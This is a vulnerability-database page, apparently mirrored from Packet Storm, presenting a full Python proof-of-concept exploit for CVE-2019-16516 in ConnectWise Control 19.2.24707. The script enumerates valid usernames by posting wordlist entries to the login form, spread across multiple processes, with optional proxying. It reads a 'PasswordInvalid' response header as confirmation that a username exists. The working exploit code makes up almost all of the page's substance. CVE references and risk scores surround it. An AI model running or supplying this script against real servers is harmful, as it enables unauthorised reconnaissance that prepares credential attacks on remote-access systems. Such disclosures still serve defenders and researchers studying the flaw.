Lucene search
K

ConnectWise Control 19.2.24707 Username Enumeration

🗓️ 05 Jan 2022 00:00:00Reported by Luca CuzzolinType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 204 Views

ConnectWise Control 19.2.24707 Username Enumeration with ScreenConnect PO

Related
Code
ReporterTitlePublishedViews
Family
0day.today
ConnectWise Control 19.2.24707 - Username Enumeration Exploit
5 Jan 202200:00
zdt
CVE
CVE-2019-16516
23 Jan 202017:24
cve
Cvelist
CVE-2019-16516
23 Jan 202017:24
cvelist
Exploit DB
ConnectWise Control 19.2.24707 - Username Enumeration
5 Jan 202200:00
exploitdb
NVD
CVE-2019-16516
23 Jan 202018:15
nvd
OSV
CVE-2019-16516
23 Jan 202018:15
osv
Prion
Code injection
23 Jan 202018:15
prion
RedhatCVE
CVE-2019-16516
22 May 202510:36
redhatcve
`# Exploit Title: ConnectWise Control 19.2.24707 - Username Enumeration  
# Date: 17/12/2021  
# Exploit Author: Luca Cuzzolin aka czz78  
# Vendor Homepage: https://www.connectwise.com/  
# Version: vulnerable <= 19.2.24707  
# CVE : CVE-2019-16516  
  
# https://github.com/czz/ScreenConnect-UserEnum  
  
from multiprocessing import Process, Queue  
from statistics import mean  
from urllib3 import exceptions as urlexcept  
import argparse  
import math  
import re  
import requests  
  
class bcolors:  
HEADER = '\033[95m'  
OKBLUE = '\033[94m'  
OKCYAN = '\033[96m'  
OKGREEN = '\033[92m'  
WARNING = '\033[93m'  
FAIL = '\033[91m'  
ENDC = '\033[0m'  
BOLD = '\033[1m'  
UNDERLINE = '\033[4m'  
  
  
headers = []  
  
def header_function(header_line):  
headers.append(header_line)  
  
  
def process_enum(queue, found_queue, wordlist, url, payload, failstr, verbose, proc_id, stop, proxy):  
try:  
# Payload to dictionary  
payload_dict = {}  
for load in payload:  
split_load = load.split(":")  
if split_load[1] != '{USER}':  
payload_dict[split_load[0]] = split_load[1]  
else:  
payload_dict[split_load[0]] = '{USER}'  
  
# Enumeration  
total = len(wordlist)  
for counter, user in enumerate(wordlist):  
user_payload = dict(payload_dict)  
for key, value in user_payload.items():  
if value == '{USER}':  
user_payload[key] = user  
  
dataraw = "".join(['%s=%s&' % (key, value) for (key, value) in user_payload.items()])[:-1]  
headers={"Accept": "*/*" , "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"}  
  
req = requests.request('POST',url,headers=headers,data=dataraw, proxies=proxies)  
  
x = "".join('{}: {}'.format(k, v) for k, v in req.headers.items())  
  
if re.search(r"{}".format(failstr), str(x).replace('\n','').replace('\r','')):  
queue.put((proc_id, "FOUND", user))  
found_queue.put((proc_id, "FOUND", user))  
if stop: break  
elif verbose:  
queue.put((proc_id, "TRIED", user))  
queue.put(("PERCENT", proc_id, (counter/total)*100))  
  
except (urlexcept.NewConnectionError, requests.exceptions.ConnectionError):  
print("[ATTENTION] Connection error on process {}! Try lowering the amount of threads with the -c parameter.".format(proc_id))  
  
  
if __name__ == "__main__":  
# Arguments  
parser = argparse.ArgumentParser(description="http://example.com/Login user enumeration tool")  
parser.add_argument("url", help="http://example.com/Login")  
parser.add_argument("wordlist", help="username wordlist")  
parser.add_argument("-c", metavar="cnt", type=int, default=10, help="process (thread) count, default 10, too many processes may cause connection problems")  
parser.add_argument("-v", action="store_true", help="verbose mode")  
parser.add_argument("-s", action="store_true", help="stop on first user found")  
parser.add_argument("-p", metavar="proxy", type=str, help="socks4/5 http/https proxy, ex: socks5://127.0.0.1:9050")  
args = parser.parse_args()  
  
# Arguments to simple variables  
wordlist = args.wordlist  
url = args.url  
payload = ['ctl00%24Main%24userNameBox:{USER}', 'ctl00%24Main%24passwordBox:a', 'ctl00%24Main%24ctl05:Login', '__EVENTTARGET:', '__EVENTARGUMENT:', '__VIEWSTATE:']  
verbose = args.v  
thread_count = args.c  
failstr = "PasswordInvalid"  
stop = args.s  
proxy= args.p  
  
print(bcolors.HEADER + """  
__ ___ __ ___  
| | |__ |__ |__) |__ |\ | | | |\/|  
|__| ___| |___ | \ |___ | \| |__| | |  
  
ScreenConnect POC by czz78 :)  
  
"""+ bcolors.ENDC);  
print("URL: "+url)  
print("Payload: "+str(payload))  
print("Fail string: "+failstr)  
print("Wordlist: "+wordlist)  
if verbose: print("Verbose mode")  
if stop: print("Will stop on first user found")  
  
proxies = {'http': '', 'https': ''}  
if proxy:  
proxies = {'http': proxy, 'https': proxy}  
  
print("Initializing processes...")  
# Distribute wordlist to processes  
wlfile = open(wordlist, "r", encoding="ISO-8859-1") # or utf-8  
tothread = 0  
wllist = [[] for i in range(thread_count)]  
for user in wlfile:  
wllist[tothread-1].append(user.strip())  
if (tothread < thread_count-1):  
tothread+=1  
else:  
tothread = 0  
  
# Start processes  
tries_q = Queue()  
found_q = Queue()  
processes = []  
percentage = []  
last_percentage = 0  
for i in range(thread_count):  
p = Process(target=process_enum, args=(tries_q, found_q, wllist[i], url, payload, failstr, verbose, i, stop, proxy))  
processes.append(p)  
percentage.append(0)  
p.start()  
  
print(bcolors.OKBLUE + "Processes started successfully! Enumerating." + bcolors.ENDC)  
# Main process loop  
initial_count = len(processes)  
while True:  
# Read the process output queue  
try:  
oldest = tries_q.get(False)  
if oldest[0] == 'PERCENT':  
percentage[oldest[1]] = oldest[2]  
elif oldest[1] == 'FOUND':  
print(bcolors.OKGREEN + "[{}] FOUND: {}".format(oldest[0], oldest[2]) + bcolors.ENDC)  
elif verbose:  
print(bcolors.OKCYAN + "[{}] Tried: {}".format(oldest[0], oldest[2]) + bcolors.ENDC)  
except: pass  
  
# Calculate completion percentage and print if /10  
total_percentage = math.ceil(mean(percentage))  
if total_percentage % 10 == 0 and total_percentage != last_percentage:  
print("{}% complete".format(total_percentage))  
last_percentage = total_percentage  
  
# Pop dead processes  
for k, p in enumerate(processes):  
if p.is_alive() == False:  
processes.pop(k)  
  
# Terminate all processes if -s flag is present  
if len(processes) < initial_count and stop:  
for p in processes:  
p.terminate()  
  
# Print results and terminate self if finished  
if len(processes) == 0:  
print(bcolors.OKBLUE + "EnumUser finished, and these usernames were found:" + bcolors.ENDC)  
while True:  
try:  
entry = found_q.get(False)  
print(bcolors.OKGREEN + "[{}] FOUND: {}".format(entry[0], entry[2]) + bcolors.ENDC)  
except:  
break  
quit()  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Jan 2022 00:00Current
5.4Medium risk
Vulners AI Score5.4
CVSS 25
CVSS 3.15.3
EPSS0.38214
204